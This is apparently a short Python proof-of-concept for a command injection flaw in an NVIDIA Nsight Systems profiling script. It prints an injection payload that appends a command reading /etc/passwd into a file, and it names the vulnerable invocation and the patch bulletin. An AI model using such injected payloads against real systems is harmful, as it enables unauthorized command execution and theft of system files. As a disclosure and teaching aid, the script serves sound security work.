CVE-2025-33228

#!/usr/bin/env python3 # CVE-2025-33228 PoC - NVIDIA Nsight Systems Command Injection # Note: This PoC is for educational and security research purposes only # Author: Security Research # Reference: NVIDIA Security Bulletin L20-001 import subprocess import sys import os def generate_malicious_string(): """Generate malicious input for command injection""" # Malicious payload that attempts to execute arbitrary command # In real attack scenario, attacker would craft input like: malicious_input = "; cat /etc/passwd > /tmp/stolen_data.txt #" return malicious_input def simulate_vulnerable_execution(): """ Simulate the vulnerable scenario where process_nsys_rep_cli.py is called with malicious input without proper sanitization. WARNING: Do not run this on production systems. """ print("[*] CVE-2025-33228 - NVIDIA Nsight Systems Command Injection") print("[*] Target: process_nsys_rep_cli.py in gfx_hotspot recipe") print("[*] CVSS Score: 7.3 (HIGH)") print() # In vulnerable version, the script would execute: # python process_nsys_rep_cli.py <user_input> # where user_input contains injection payload vulnerable_command = "python process_nsys_rep_cli.py" malicious_arg = generate_malicious_string() print(f"[!] Vulnerable execution would be:") print(f"[!] {vulnerable_command} '{malicious_arg}'") print() print("[*] Impact: Arbitrary OS command execution") print("[*] Risk: Code execution, privilege escalation, data tampering") print() print("[*] Mitigation: Apply NVIDIA security patch from L20-001 bulletin") if __name__ == "__main__": simulate_vulnerable_execution()

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